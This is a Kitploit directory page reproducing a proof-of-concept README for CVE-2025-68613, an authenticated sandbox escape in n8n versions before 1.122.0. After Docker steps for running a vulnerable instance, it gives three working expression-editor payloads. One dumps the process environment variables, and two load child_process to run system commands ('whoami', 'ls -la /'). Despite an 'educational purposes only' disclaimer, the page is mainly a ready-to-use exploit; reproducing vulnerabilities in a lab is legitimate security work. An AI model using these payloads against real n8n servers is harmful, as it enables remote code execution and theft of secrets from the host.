Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
poc_CVE-2025-68613 — POC for CVE-2025-68613 | Kitploit
Tools/GitHubGitHub/reem-012/poc_cve-2025-68613
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubreem-012/poc_cve-2025-68613

poc_CVE-2025-68613

POC for CVE-2025-68613

View Repository
2611 months agoNot yet reviewed
Share

PoC: n8n Sandbox Escape (CVE-2025-68613)

Educational Purposes Only This Proof of Concept demonstrates a critical vulnerability (CVE-2025-68613) in n8n. Do not use this on systems you do not own or have explicit permission to test.

Vulnerability Overview

n8n versions prior to 1.122.0 contain a Remote Code Execution (RCE) vulnerability. Authenticated users can bypass the expression sandbox and execute arbitrary code on the host system via specific JavaScript payloads in the workflow expression editor.

1. Setup Vulnerable Environment

Create a data volume and run a vulnerable version of n8n (e.g., v1.120.0).

# Create volume for persistence
docker volume create n8n_data

# Run vulnerable n8n instance
docker run -it --rm \
  --name n8n \
  -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:1.120.0

2. Reproduction Steps

Access the Interface

Navigate to http://localhost:5678 and complete the initial setup if needed.

Create a Workflow

Click "Add Workflow" to start a blank workflow.

Add a Vulnerable Node

Add a Set node to the workflow. This node allows us to define values that can be evaluated as expressions.

Configure Expression

In the Set node, modify a parameter (e.g., value) and change the input type to Expression.

3. Exploitation Payloads

Enter the following payloads into the expression editor to demonstrate the vulnerability.

Payload 1: Environment Variable Dump

This payload accesses this.process.env to leak sensitive environment variables from the container.

Payload:

{{ (function() {
  return JSON.stringify(this.process.env, null, 2);
})() }}

Result:

Payload 2: Remote Code Execution (whoami)

This payload bypasses the sandbox by accessing process.mainModule.require to load the child_process module, allowing execution of arbitrary system commands.

Payload:

{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('whoami').toString();
})() }}

Result: Verifies the user context of the running process.

Payload 3: Full RCE (List Root Directory)

Demonstrates the ability to browse the file system.

Payload:

{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('ls -la /').toString();
})() }}

Result:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →